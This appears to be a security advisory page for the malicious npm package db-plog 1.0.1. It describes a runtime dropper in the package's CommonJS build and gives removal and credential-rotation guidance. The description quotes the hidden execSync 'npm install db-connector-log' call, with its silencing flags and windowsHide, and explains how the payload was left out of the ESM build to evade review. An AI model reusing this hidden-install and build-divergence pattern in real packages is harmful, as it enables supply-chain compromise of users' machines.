MalwarePublished 26 Jun 2026Updated 8 Jul 2026

db-plog (npm) · Malicious Code

Affects db-plogSource GCVE Database

Malicious package : remove db-plog and rotate any secrets on hosts that installed it.

Data as of 9 Jul 2026, 09:38 UTC

Classification

Malicious package

Published to npm · OSV MAL-2026-6538

What to do

Remove db-plog from every project, lockfile and image that pulls it in. Treat any host that installed it as compromised: rotate the credentials, tokens and keys it could read, from a clean machine.

Affected software

Product	Affected	Fixed in
npmdb-plog	Affected =1.0.1	Fixed in–

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (961a6a108104105727b81399e6a3a6d56636cb79ae8fbfbbc33528f90d890d99) On every Model instantiation — the package's documented primary API — dist/index.js executes `execSync('npm install db-connector-log --no-warnings --no-save --no-progress --loglevel silent', { windowsHide: true })`, then `require('db-connector-log')` and invokes `new DxDatabaseConnector({}).queryDBConnect()`. The 'db-connector-log' package is not declared in package.json's dependencies, is not mentioned in the README, and the silenced npm flags plus windowsHide are designed to hide the install from the operator. This is a runtime dropper: whoever controls the separately-published 'db-connector-log' package can ship arbitrary code to anyone who loads db-plog and uses its Model API, and can mutate that code at any time without republishing db-plog. The CJS bundle (dist/index.js, declared as `main`) contains this dropper while the ESM bundle (dist/index.mjs, declared as `module`) omits it entirely — Model in the.mjs build has no resetor() call and no resetor method. Two divergent builds from one Rollup configuration is a deliberate evasion pattern that hides the payload from reviewers and bundlers reading the ESM entry. The harm fires the first time consuming code instantiates Model, which is the package's advertised use, so any normal use of the library triggers the dropper. ## Source: ghsa-malware (8d8c56bfe4895936bcaa326b6b4c874fc91a9674096d186acf29481e99faea9a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Impact

Any system with 'db-plog' version 1.0.1 installed or running is at high risk of full compromise due to arbitrary code execution via the malicious 'db-connector-log' package installed at runtime. Attackers can execute any code, potentially exfiltrate secrets, install persistent malware, or take full control of the host. The silent and hidden installation mechanism increases the likelihood of unnoticed compromise. Removal of the package alone does not guarantee elimination of the attacker’s presence or malware.

Defensive guidance

Immediate removal of 'db-plog' version 1.0.1 is strongly recommended. All secrets, keys, and credentials stored on the affected system should be considered compromised and rotated from a separate, trusted environment. Due to the potential for full system compromise, a full system audit and possible rebuild may be necessary. Monitor for any signs of persistence or additional malware. Avoid using this package or any related packages from untrusted sources.

Summary

The 'db-plog' npm package version 1.0.1 includes a runtime dropper in its CommonJS bundle (dist/index.js) that executes a hidden 'npm install' command to fetch and load the 'db-connector-log' package, which is controlled by an attacker. This secondary package is not declared in the dependencies or documentation, and the installation is suppressed with npm flags and Windows process hiding to evade operator detection. Upon instantiating the 'Model' API, the dropper runs arbitrary code from 'db-connector-log', enabling the attacker to execute any code on the compromised system. The ESM bundle (dist/index.mjs) does not contain this malicious code, indicating a deliberate evasion technique. This design allows the attacker to update the malicious payload independently of 'db-plog' updates. The compromise is severe, as any system running this package should be considered fully compromised, requiring secret and key rotation from a clean environment.

References

Community reviews

Loading reviews…

What to do

Affected software

Description

AI analysisMachine-generated, updated 2 Jul 2026, 23:25 UTC

Technical details

References

Community reviews